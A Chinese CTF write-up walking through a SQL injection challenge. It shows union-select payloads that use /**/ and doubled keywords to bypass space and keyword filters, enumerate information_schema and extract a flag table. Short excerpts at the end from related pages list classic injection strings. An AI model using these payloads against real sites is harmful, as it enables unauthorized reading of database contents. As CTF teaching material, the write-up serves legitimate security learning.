簡單的sql注入1

2021-09-04 04:19:08 字數 1472 閱讀 6972

題目:

開啟題目:

先隨便輸了些數字,發現只有1、2、3查詢結果

接下來進行第一步測試

輸入乙個帶單引號的資料,目的是測試是否存在注入點,輸入1』發現報錯,說明此處存在注入點。且後台**應該是一般的seletc語句,可以通過開閉合單引號來進行注入。

輸入1 and 1=1發現id後顯示1 1=1說明存在過濾。

第二步關鍵字過濾

第三步空格過濾

繞過空格過濾的方法有很多:+、%0a、%0b、/**/等等,這裡我用的是最後一種 。

開始注入

1、資料庫名

在報錯時就可以看到是mysql,因此用database()來獲取當前資料庫名

輸入:

1'union/**/select/**/database()'
我們能夠得到資料庫名為web1

2、表名

在mysql中有一張表information_schema,該錶儲存了mysql伺服器中的所有資訊,那麼接下來就要用得到的資料庫名web1去查其中的表

輸入:

1『union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema/**/=』web1
1' union/**/select/**/table_name from/**/information_schema.tables/**/where/**/table_schemtable_schemaa/**/='web1
就可以看到表名

flag這個表應該就是我們的目標

3、段名

一樣的思路,用表名查字段

輸入:

1'union/**/select/**/column_nacolumn_nameme/**/from/**/information_schema.columinformation_schema.columnsns/**/where/**/table_name='flag

得到兩個欄位flag和id,很明顯,我們要的應該是flag欄位

4、flag

直接檢視flag欄位的內容

輸入:

1' union/**/select/**/flag from/**/flag where/**/'1'='1

就得到flag了

簡單SQL注入

sql注入思路 找注入點 判斷是否為注入點 猜表名 猜欄位名 爆出字段內容 那麼何為注入點?有引數進行資料庫傳遞的都可判為注入點。以此url為例 xx.xx show.asp?id 1 其中id即為引數,如果此url用sql語句來表示的話 則向資料庫中進行查詢的語句為 select from sho...

SQL注入1

1 整型引數的判斷 當輸入的引數yy為整型時,通常abc.asp中sql語句原貌大致如下 select from 表名 where 字段 yy,所以可以用以下步驟測試sql注入是否存在。附加乙個單引號 此時abc.asp中的sql語句變成了 select from 表名 where 字段 yy ab...

CTF Web簡單的SQL注入

慢慢開始做ctf吧。題目鏈結 我的解題過程 題目就是sql注入,先嘗試簡單的sql注入方式 一般的sql語句是 sql select from where 字段 常規注入 t or 1 1 t or 1 1 輸進去有了輸出,但沒有我們需要的flag mysql中所有表都存在information s...